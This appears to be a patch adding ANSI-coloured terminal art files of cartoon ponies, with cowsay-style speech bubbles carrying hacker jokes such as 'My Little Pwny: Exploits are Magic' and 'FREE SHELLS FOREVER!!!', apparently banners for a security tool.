[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m██████████[48;5;52;38;5;52m█[49;38;5;234m▄▄[39m [00m
|
||||||
|
[38;5;234m▄[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;101;38;5;101m█[38;5;144m▄▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||||
|
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;52m▄▄▄[38;5;101m▄▄▄▄▄▄[48;5;101m█[48;5;144;38;5;144m██[48;5;101m▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||||
|
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m████[38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████████[48;5;101;38;5;101m█[48;5;144;38;5;144m█[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||||
|
[48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;16m▄▄▄▄[38;5;144m██████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [00m
|
||||||
|
[48;5;234;38;5;234m█[48;5;236;38;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;16;38;5;16m█[38;5;231m▄[48;5;231m█[48;5;57;38;5;57m█[48;5;231;38;5;231m█[48;5;16m▄[48;5;144;38;5;16m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||||
|
[38;5;234m▄▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;16;38;5;231m▄[38;5;16m█[48;5;63;38;5;153m▄[48;5;231;38;5;231m██[48;5;16;38;5;16m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄▄▄▄▄▄[39m [00m
|
||||||
|
[38;5;234m▀[48;5;236m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m██████[48;5;153m▄[48;5;231m▄▄[48;5;144m████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████[48;5;234m▄▄[38;5;234m█[49m▀[39m [00m
|
||||||
|
[38;5;101m▀[48;5;144m▄▄[48;5;101;38;5;144m▄[48;5;144m██████[38;5;101m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████████[48;5;234;38;5;234m█[49m▄[39m [00m
|
||||||
|
[38;5;101m▀▀▀▀▀▀[48;5;101m█[38;5;144m▄[48;5;144m███[38;5;250m▄[48;5;250;38;5;231m▄[48;5;234m▄[49;38;5;101m▄▄▄[48;5;101;38;5;144m▄▄▄▄▄[48;5;236;38;5;101m▄▄[49;38;5;234m▀▀▀[48;5;236m▄[38;5;236m██████[48;5;234m▄[49;38;5;234m▄[39m[00m
|
||||||
|
[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;250m▄[48;5;250;38;5;231m▄[48;5;231m█[38;5;144m▄[48;5;144m███████[48;5;186;38;5;186m███[48;5;101;38;5;144m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;234m▄[48;5;236;38;5;234m▄[48;5;234m█[49;39m[00m
|
||||||
|
[38;5;88m▄[48;5;88m█[48;5;52;38;5;52m█[48;5;231;38;5;231m█[38;5;144m▄[48;5;144m█████████[38;5;186m▄[48;5;186m█[48;5;144m▄[38;5;144m█[48;5;101;38;5;101m█[49;39m [48;5;234;38;5;236m▄[48;5;236;38;5;234m▄[48;5;234m█[48;5;236;38;5;236m██[48;5;234;38;5;234m█[49;39m [38;5;234m▀[39m[00m
|
||||||
|
[38;5;88m▀[38;5;52m▀[48;5;144;38;5;101m▄[38;5;144m███████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;186m▄▄▄[48;5;144;38;5;101m▄[49m▀[39m [38;5;234m▀▀[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [00m
|
||||||
|
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[38;5;101m▄▄▄▄[48;5;101m█[48;5;144m▄[38;5;144m███[48;5;101m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236m▄[49m▀[39m [00m
|
||||||
|
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [38;5;95m▀[48;5;137m▄[48;5;101;38;5;137m▄[38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [38;5;234m▀[39m [00m
|
||||||
|
[38;5;95m▄[48;5;95;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m███[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [00m
|
||||||
|
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||||
|
[38;5;95m▄[48;5;95m█[48;5;137;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||||
|
[48;5;95;38;5;95m█[48;5;137m▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [00m
|
||||||
|
[48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [00m
|
||||||
|
[00m
|
|
@ -0,0 +1,27 @@
|
||||||
|
[0m[0m ______________________________ [0m
|
||||||
|
[0m< I love SHELLS![0m >[0m
|
||||||
|
[0m ------------------------------ [0m[00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[38;5;54m▄▄[48;5;54m██[38;5;97m▄[38;5;54m█[38;5;90m▄[38;5;251m▄[38;5;90m▄[49;38;5;54m▄[39m [00m
|
||||||
|
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;251m▄[48;5;251;38;5;255m▄[48;5;255;38;5;251m▄[48;5;251;38;5;90m▄[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [00m
|
||||||
|
[38;5;251m▄[48;5;251;38;5;255m▄[49;38;5;251m▄[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;97m▄[38;5;133m▄[48;5;133;38;5;54m▄[49m▀[39m [00m
|
||||||
|
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;255m▄[48;5;255m█[48;5;251m▄▄[48;5;255m█[38;5;16m▄[48;5;251;38;5;251m█[49;39m [00m
|
||||||
|
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;54m▄[48;5;97;38;5;54m▄▄[48;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;255;38;5;255m█[38;5;16m▄▄[48;5;16;38;5;117m▄[48;5;255;38;5;255m█[48;5;117;38;5;117m█[48;5;16;38;5;16m█[48;5;251;38;5;251m█[49;39m [00m
|
||||||
|
[48;5;251;38;5;54m▄[48;5;255;38;5;251m▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;54;38;5;54m██[48;5;255;38;5;16m▄[48;5;16;38;5;117m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;255m▄[38;5;255m█[48;5;117;38;5;16m▄[48;5;16;38;5;251m▄[49;38;5;16m▀[39m [00m
|
||||||
|
[38;5;54m▄▄[48;5;54;38;5;97m▄▄[38;5;133m▄▄▄▄[49;38;5;54m▄▄[39m [48;5;54;38;5;54m██[38;5;133m▄[48;5;133m█[38;5;54m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255;38;5;255m█[48;5;16m▄▄▄▄▄[48;5;255m██[48;5;251m▄▄[38;5;251m█[49;39m[00m
|
||||||
|
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;90m▄[48;5;90;38;5;97m▄▄▄[38;5;133m▄[48;5;97m▄▄▄[48;5;133;38;5;97m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;133;38;5;97m▄▄▄[48;5;97m█[48;5;54;38;5;54m█[38;5;255m▄[48;5;255m█████[38;5;251m▄[48;5;251;38;5;125m▄▄[49;38;5;251m▀▀[39m [00m
|
||||||
|
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;90m██[48;5;97m▄[38;5;54m▄[48;5;54;38;5;97m▄[38;5;133m▄▄▄▄[48;5;97;38;5;54m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[48;5;90;38;5;54m▄▄[48;5;54;38;5;255m▄[48;5;255m██████[48;5;251;38;5;251m█[48;5;209m▄[48;5;125m▄[49m▄[39m [00m
|
||||||
|
[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m██[48;5;90m▄[48;5;54;38;5;90m▄[48;5;97m▄[38;5;54m▄▄[49m▀▀[48;5;133m▄▄[48;5;54;38;5;133m▄[38;5;251m▄[49m▄▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;97;38;5;54m▄[48;5;133m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255m▄[38;5;255m███[48;5;251m▄[38;5;251m█[49m▀▀▀[39m [00m
|
||||||
|
[48;5;54;38;5;54m██[48;5;97;38;5;97m██[48;5;54m▄[38;5;54m█[48;5;90m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;117m▄[38;5;255m██[48;5;54m▄[48;5;133;38;5;54m▄[48;5;54m█[38;5;97m▄[38;5;133m▄[48;5;97;38;5;54m▄[48;5;90;38;5;90m█[48;5;54;38;5;54m█[48;5;255m▄[38;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||||
|
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄▄[38;5;97m█[48;5;54m▄▄[49;38;5;54m▄[39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74m▄[48;5;255m█[38;5;74m▄[38;5;255m█[48;5;54;38;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;97m▄▄▄[38;5;54m█[38;5;255m▄[48;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||||
|
[38;5;54m▀[48;5;97m▄[38;5;97m██[48;5;54m▄[48;5;97;38;5;54m▄[38;5;97m██[48;5;54m▄[38;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74;38;5;117m▄[48;5;255;38;5;255m█[48;5;117m▄[48;5;255m█[48;5;54;38;5;54m█[48;5;97m▄[38;5;97m█[48;5;54m▄▄[38;5;54m█[48;5;255;38;5;255m███[48;5;251;38;5;251m█[49;39m [00m
|
||||||
|
[48;5;54;38;5;54m█[38;5;97m▄[38;5;54m█[48;5;97m▄[38;5;97m███[48;5;54m▄[48;5;97;38;5;54m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m███[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m█[48;5;54m▄▄▄[48;5;255m██[38;5;251m▄[48;5;251m█[49;39m [00m
|
||||||
|
[38;5;54m▄[48;5;54m██[49;39m [48;5;54;38;5;54m██[48;5;97;38;5;97m█[48;5;54m▄[38;5;54m██[48;5;97m▄[38;5;97m██[48;5;54;38;5;54m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄▄[48;5;255m█[38;5;251m▄[48;5;251;38;5;254m▄▄[38;5;251m█[49m▀▀[48;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||||
|
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[38;5;54m█[49m▄[48;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[38;5;97m█[48;5;54m▄[38;5;54m██[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m██[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||||
|
[38;5;54m▀[48;5;97m▄▄[49m▀[48;5;54m█[48;5;97;38;5;97m█[48;5;54m▄[48;5;97;38;5;54m▄[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m█[38;5;251m▄[49m▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m██[49;39m [00m
|
||||||
|
[38;5;54m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m██[49;39m [00m
|
||||||
|
[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [00m
|
||||||
|
[48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m█[49m▀▀▀[39m [38;5;251m▀[48;5;255m▄[38;5;255m███[48;5;251;38;5;251m█[49m▀▀▀[39m [00m
|
||||||
|
[38;5;251m▀▀▀▀▀▀[39m [38;5;251m▀▀▀[39m [00m
|
|
@ -0,0 +1,29 @@
|
||||||
|
[0m[0m ____________________________________ [0m
|
||||||
|
[0m< My Little Pwny: Exploits are Magic[0m >[0m
|
||||||
|
[0m ------------------------------------ [0m[00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[38;5;238m▄▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||||
|
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄▄[38;5;96m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[48;5;60m▄[48;5;238;38;5;60m▄▄[48;5;60;38;5;238m▄[38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[48;5;60;38;5;238m▄[38;5;60m█████[48;5;238m▄[48;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||||
|
[38;5;238m▄[48;5;238;38;5;60m▄▄[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;238m▄▄[48;5;60;38;5;238m▄▄▄▄▄[48;5;238;38;5;96m▄[38;5;60m▄[48;5;60m██[38;5;238m▄[49m▀[39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;96m▄[48;5;139;38;5;139m████[48;5;16m▄[48;5;139;38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;96;38;5;16m▄[48;5;139m▄[38;5;139m██[48;5;96m▄[48;5;60;38;5;96m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;60m████[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;16;38;5;16m██[48;5;231;38;5;231m██[48;5;96;38;5;96m█[48;5;16;38;5;16m█[48;5;231;38;5;231m█[48;5;16;38;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;60;38;5;60m██[48;5;238;38;5;238m█[49;39m [00m
|
||||||
|
[38;5;238m▀[48;5;60m▄[38;5;60m███[48;5;96;38;5;238m▄[48;5;139;38;5;139m███[38;5;16m▄[48;5;231;38;5;231m██[48;5;96;38;5;139m▄[48;5;231;38;5;16m▄▄[48;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;38;5;238m▀▀[39m [00m
|
||||||
|
[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [38;5;238m▀[48;5;60m▄[38;5;60m██[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m██[38;5;96m▄[48;5;231;38;5;139m▄[38;5;231m█[48;5;182m▄[48;5;16;38;5;139m▄[48;5;231;38;5;96m▄[48;5;16;38;5;139m▄[48;5;139m██[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||||
|
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▀[48;5;60;38;5;60m█[38;5;238m▄[38;5;60m██[48;5;238;38;5;238m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139m█[48;5;231m▄▄▄[48;5;139m█[38;5;96m▄[38;5;139m██[48;5;96;38;5;96m█[49;39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[38;5;238m▄[49m▀▀▀[48;5;60m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▄[48;5;60m▄[38;5;60m█[48;5;238m▄▄[48;5;60m█[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m█[38;5;96m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▀[48;5;60;38;5;96m▄[48;5;238;38;5;139m▄[48;5;96m▄▄▄[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m█[48;5;238;38;5;238m█[48;5;60m▄▄[48;5;238;38;5;139m▄[48;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▄▄[39m [38;5;96m▄[48;5;96;38;5;139m▄[48;5;139m█████[48;5;238m▄[48;5;60;38;5;238m▄▄[48;5;238;38;5;139m▄[48;5;139m█████[48;5;96;38;5;96m█[49;39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;60m███████[48;5;238m▄[48;5;60;38;5;238m▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██████████████[38;5;96m▄[49m▀[39m [00m
|
||||||
|
[38;5;238m▀[48;5;60m▄[38;5;60m██████[38;5;238m▄▄▄[49m▀[39m [38;5;96m▀[48;5;139m▄[38;5;139m████[48;5;96;38;5;96m█[48;5;139;38;5;139m███████[38;5;96m▄[49m▀[39m [00m
|
||||||
|
[38;5;238m▄▄[48;5;238m█[48;5;60;38;5;60m███[38;5;238m▄▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [38;5;96m▄[48;5;96m█[48;5;139;38;5;139m██[38;5;96m▄[48;5;96m█[48;5;139m▄▄▄▄[38;5;139m██[38;5;96m▄[48;5;96m██[49;39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m█[48;5;238;38;5;238m█[48;5;60;38;5;60m██[38;5;238m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[38;5;139m▄[48;5;139;38;5;96m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||||
|
[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m██[48;5;238;38;5;238m█[49m▀▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139;38;5;96m▄[48;5;96;38;5;139m▄[49;38;5;96m▄[39m [00m
|
||||||
|
[38;5;238m▀[48;5;60m▄▄▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||||
|
[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||||
|
[48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [00m
|
||||||
|
[48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [00m
|
||||||
|
[00m
|
|
@ -0,0 +1,24 @@
|
||||||
|
[0m[0m ______________________ [0m
|
||||||
|
[0m< FREE SHELLS FOREVER!!![0m >[0m
|
||||||
|
[0m ---------------------- [0m[00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [38;5;161m▄[48;5;161m██[38;5;204m▄▄[49;38;5;161m▄[39m [38;5;161m▄▄▄[39m [00m
|
||||||
|
[0m\[0m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;175m▄▄▄[48;5;161;38;5;204m▄▄[49;38;5;161m▄[39m [00m
|
||||||
|
[38;5;161m▄[48;5;161;38;5;204m▄▄[38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m██[48;5;161m▄[48;5;204m█[48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||||
|
[38;5;161m▄[48;5;161;38;5;204m▄▄▄[38;5;161m█[38;5;204m▄[48;5;204;38;5;161m▄[38;5;204m██[38;5;161m▄▄[48;5;161;38;5;218m▄▄▄▄▄[48;5;175m▄[48;5;218m█[48;5;211;38;5;175m▄[48;5;218;38;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||||
|
[48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄▄[48;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[48;5;161;38;5;218m▄[48;5;218m██[38;5;175m▄[38;5;16m▄▄[38;5;218m█[38;5;16m▄[38;5;218m██[48;5;175m▄[48;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161m█[38;5;204m▄▄▄[49;38;5;161m▄[39m [00m
|
||||||
|
[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;161;38;5;16m▄[48;5;218;38;5;218m██[38;5;16m▄[48;5;16;38;5;218m▄[48;5;218m███[48;5;16m▄[48;5;218;38;5;16m▄▄[38;5;218m█[38;5;175m▄[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161;38;5;204m▄▄▄▄[49;38;5;161m▄[48;5;161m█[38;5;204m▄[48;5;204m█[38;5;161m▄▄▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||||
|
[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;16;38;5;16m█[48;5;218;38;5;218m██[48;5;16;38;5;16m█[48;5;218;38;5;218m█████[48;5;175;38;5;16m▄[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄▄▄[38;5;204m█[48;5;161m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||||
|
[38;5;161m▀[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;175m▄[48;5;175m█[48;5;16m▄[48;5;175;38;5;218m▄[48;5;218m█[48;5;175m▄[48;5;218m████[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄▄[48;5;204m█[48;5;161m▄▄▄[49;38;5;161m▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m████[48;5;161;38;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m█████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||||
|
[38;5;161m▀[48;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;211;38;5;175m▄[48;5;218;38;5;218m████████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄[38;5;204m███[38;5;161m▄[48;5;161m██[38;5;204m▄[48;5;204;38;5;161m▄[48;5;161m█[48;5;204;38;5;204m█████[38;5;161m▄▄[38;5;204m████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||||
|
[38;5;161m▄▀[39m [38;5;175m▀▀[48;5;175m█[48;5;218m▄▄▄▄▄[38;5;218m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[38;5;175m▄[48;5;204;38;5;204m█[48;5;161;38;5;161m██[48;5;204m▄[38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[49m▀[39m [00m
|
||||||
|
[38;5;204m▀[39m [48;5;175;38;5;175m█[48;5;218;38;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m██[38;5;161m▄▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;218m▄▄[48;5;218;38;5;228m▄▄[48;5;175;38;5;218m▄[49;38;5;175m▄[39m [38;5;161m▀▀[48;5;204m▄▄[48;5;161m█[48;5;204m▄▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||||
|
[48;5;175;38;5;175m█[48;5;218;38;5;218m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[48;5;218;38;5;161m▄[38;5;218m███[48;5;228m▄[48;5;218;38;5;81m▄[48;5;175m▄[38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161m▄[49;38;5;161m▄[39m[00m
|
||||||
|
